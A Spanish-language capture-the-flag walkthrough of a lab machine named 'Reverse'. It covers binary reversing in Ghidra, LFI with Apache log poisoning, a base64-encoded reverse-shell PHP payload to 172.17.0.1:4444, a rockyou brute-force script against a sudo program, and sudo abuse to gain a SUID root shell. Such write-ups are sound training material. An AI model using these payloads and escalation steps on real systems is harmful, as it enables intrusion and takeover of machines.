> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/reverse-write-up.md).

# Reverse write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/p4O32rWYtboqqXIRWkCI" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/mAIHsjdzy6wGUvcJ370I" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador y contemplamos lo siguiente:

<figure><img src="/files/dbrobvUzP8QiJbS12qnh" alt=""><figcaption></figcaption></figure>

Si nos vamos al código fuente, contemplaremos la ruta del archivo javascript. El cual contiene lo siguiente:

<figure><img src="/files/E3tDvbhh7CcCd0cEIPfJ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Sgt3hcBllqPmrMqV6JZq" alt=""><figcaption></figcaption></figure>

Esto nos indica que si hacemos clic en la página una determinada cantidad de veces nos aparecerá un mensaje diciendo `secret_dir`. Así que vamos a ingresar la ruta `http://172.17.0.2/secret_dir/` en el navegador:

<figure><img src="/files/41hN8Vf2ITLO0sHfLkPO" alt=""><figcaption></figcaption></figure>

Observamos que dentro del directory listing se encuentra el archivo llamado `secret`. Por lo tanto, lo descargamos y lo inspeccionamos. Contemplamos que se trata de un binario comprimido de manera estática gracias a la herramienta llamada **File**.

<figure><img src="/files/yM6y5RKxom4ZdMwvOeHC" alt=""><figcaption></figcaption></figure>

Al ejecutar el binario observamos que nos pide una contraseña.

<figure><img src="/files/NDrlNnao0sLB45AdZPpq" alt=""><figcaption></figcaption></figure>

Así que vamos a usar la herramienta llamada **ghidra** para hacer ingeniería inversa y así descubrir la contraseña. Para ello abrimos un nuevo proyecto en **ghidra** e importamos el binario **secret**. Después de importarlo hacemos clic sobre secret dos veces y nos aparecerá lo siguiente.

<figure><img src="/files/UuX1NmxUiM26B9zdreUN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zIx0YBZoyZiU7QJj4tfK" alt=""><figcaption></figcaption></figure>

Hacemos clic en `Yes`.

<figure><img src="/files/K2L9pMfhnzp7DHcEtcBx" alt=""><figcaption></figcaption></figure>

Y seleccionamos la opción de `Decompiler parameter ID`. Una vez hecho esto esperamos un poco para que el programa traduzca del lenguaje máquina a un lenguaje de programación. Una vez ya se haya descompilado el programa, nos aparecerá la función main en C a la izquierda de la pantalla.

<figure><img src="/files/3hQajZOWH5TI10htAzcQ" alt=""><figcaption></figcaption></figure>

Ahora, si nos fijamos observaremos que una variable está llamando a la función `containsRequiredChars`, si hacemos dos clic en el nombre de la función nos llevará al código de la función.

<figure><img src="/files/l39IuxEagIivlZrqSYAr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LZwKkG2Kd0iOIrA1v5JI" alt=""><figcaption></figcaption></figure>

Si ahora inspeccionamos el código de la función, vemos que se le está pasando un argumento en formato **String**, que sería **param\_9** y sería lo que nosotros introducimos al poner la contraseña en el programa. Para luego comprobar si en ese parámetro se encuentran los caracteres `@`, `Mi`, `S3cRet` y `d00m`, además luego verifica que el argumento **param\_9** tenga 13 caracteres. Entonces si se cumple todas estas condiciones devolverá la variable `uVar6` con valor igual a `1`. Esto nos indica que una contraseña correcta sería por ejemplo `@MiS3cRetd00m`.

<figure><img src="/files/IJUOBGy8A4Ab5JVIUi4o" alt=""><figcaption></figcaption></figure>

Observamos que efectivamente es correcto y nos devuelve una cadena codificada en base64, que decodificada significaría `g00dj0b.reverse.dl`.

<figure><img src="/files/MYqJozSYAK6DllvCOa22" alt=""><figcaption></figcaption></figure>

Esto nos indica que tenemos que ingresar la dirección de dominio `reverse.dl` y `g00dj0b.reverse.dl` en nuestro archivo `/etc/hosts`.

<figure><img src="/files/mnfMkcUJV1fUE4iJr6P7" alt=""><figcaption></figcaption></figure>

Ahora solo tenemos que ingresar la ruta `g00dj0b.reverse.dl` en el navegador.

<figure><img src="/files/pNp3Gs9DbVTMgwFcVZ1Y" alt=""><figcaption></figcaption></figure>

Si ahora hacemos clic en experimentos interactivos, nos enviará a la ruta `http://g00dj0b.reverse.dl/experiments.php?module=./modules/default.php` la cual es vulnerable a un Local File Inclusion (LFI), permitiéndonos visualizar el archivo `/var/log/apache2/access.log` si lo ingresamos en el parámetro `modulo`.

<figure><img src="/files/0XdXFXTJlwq7dnmuxCX5" alt=""><figcaption></figcaption></figure>

Ahora lo que haremos será explotar la vulnerabilidad conocida como **log poisoning**, para ello configuramos el proxy llamado **Burpsuite** y haremos una petición en la que el User-Agent contenga lo siguiente:

```php
<?php echo `printf whoami | bash`; ?>
```

<figure><img src="/files/VhjjeE6YVlYYUX9ccjVM" alt=""><figcaption></figcaption></figure>

Ahora si vamos otra vez a la ruta <http://g00dj0b.reverse.dl/experiments.php?module=/var/log/apache2/access.log> nos aparecerá lo siguiente:

<figure><img src="/files/6IP3RyPU6HZ81XrMVZJc" alt=""><figcaption></figcaption></figure>

Observamos que el comando se ejecutó correctamente, así que ahora ingresaremos lo siguiente en el User-Agent y después de hacer una petición nos ponemos en escucha por el puerto 4444.

```php
<?php echo `printf YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMScK |base64 -d | bash`; ?>
```

<figure><img src="/files/OZ4XSEC1BpT8zhV9pJtT" alt=""><figcaption></figcaption></figure>

```bash
sudo nc -nlvvp 4444
```

Y ahora volvemos otra vez a la ruta <http://g00dj0b.reverse.dl/experiments.php?module=/var/log/apache2/access.log>.

<figure><img src="/files/0akkWyezsAnrX8WKksBT" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el programa `/opt/password_nova` como el usuario `nova`.

<figure><img src="/files/LRWSZrA6K97o86NxY5ir" alt=""><figcaption></figcaption></figure>

Si ejecutamos el archivo observamos que el programa nos pide una contraseña que se encuentre en el **rockyou.txt**, así que nos vamos a pasar el rockyou.txt a la máquina víctima junto con el siguiente script en bash levantando un servidor con Python.

```bash
#!/bin/bash

# Colores

AZUL="\033[34m"
VERDE="\033[32m"
ROJO="\033[31m"
RESET="\033[0m"

# Encabezado

echo -e "${AZUL}"
cat << "EOF"
  _____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  
EOF
echo -e "${RESET}"


diccionario="$1"

if [ -z "$diccionario" ]; then

    echo -e "${ROJO}Uso: $0 <diccionario>${RESET}"
    exit 1

fi

while IFS= read -r test; do

    echo -e "${AZUL}Probando $test${RESET}"

    intento=$(echo -e $test | sudo -u nova /opt/password_nova)

    if [ $(echo $intento | grep "Contraseña incorrecta." -c) == 0 ]; then

        echo -e "${VERDE}La contraseña correcta es $test${RESET}"
        echo -e "${VERDE}$intento${RESET}"
        exit 0
    fi

done < "$diccionario"          
```

Una vez nos hayamos pasado el diccionario y el script a la carpeta `/tmp` de la máquina víctima y le hayamos dado permisos de ejecución al script, ejecutamos el script de la siguiente manera:

```bash
./reverse.sh rockyou.txt
```

<figure><img src="/files/2jT6LDdvUPxaTvZoneip" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña correcta era `cuteangel` y que su contraseña de usuario es `BlueSky_42!NeonPineapple`.

<figure><img src="/files/7pgRDkfemfWzR1dEjFyp" alt=""><figcaption></figcaption></figure>

Ahora que somos el usuario `nova`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar la librería `/lib64/ld-linux-x86-64.so.2` como el usuario `maci`.

<figure><img src="/files/qGUfKpF1EblL9NRx0f9m" alt=""><figcaption></figcaption></figure>

De tal manera que si ejecutamos el siguiente comando obtendremos una shell como el usuario `maci`.

```bash
sudo -u maci /lib64/ld-linux-x86-64.so.2 /bin/bash
```

<figure><img src="/files/wugyvRMIb9Um6YUQtil0" alt=""><figcaption></figcaption></figure>

Una vez que somos el usuario `maci`, ejecutamos el comando `sudo -l` nuevamente, el cual nos indica que podemos ejecutar el binario `/usr/bin/clush` como cualquier usuario.

<figure><img src="/files/k30fPy5EbTNfwQIAU9VY" alt=""><figcaption></figcaption></figure>

Así que para obtener una shell con privilegios elevados solo tendremos que ejecutar lo siguiente:

```plaintext
sudo clush -w node[11-14] -b
!chmod u+s /bin/bash
bash -p
```

<figure><img src="/files/MNVPSg8fJNHcvXDwuxC9" alt=""><figcaption></figcaption></figure>
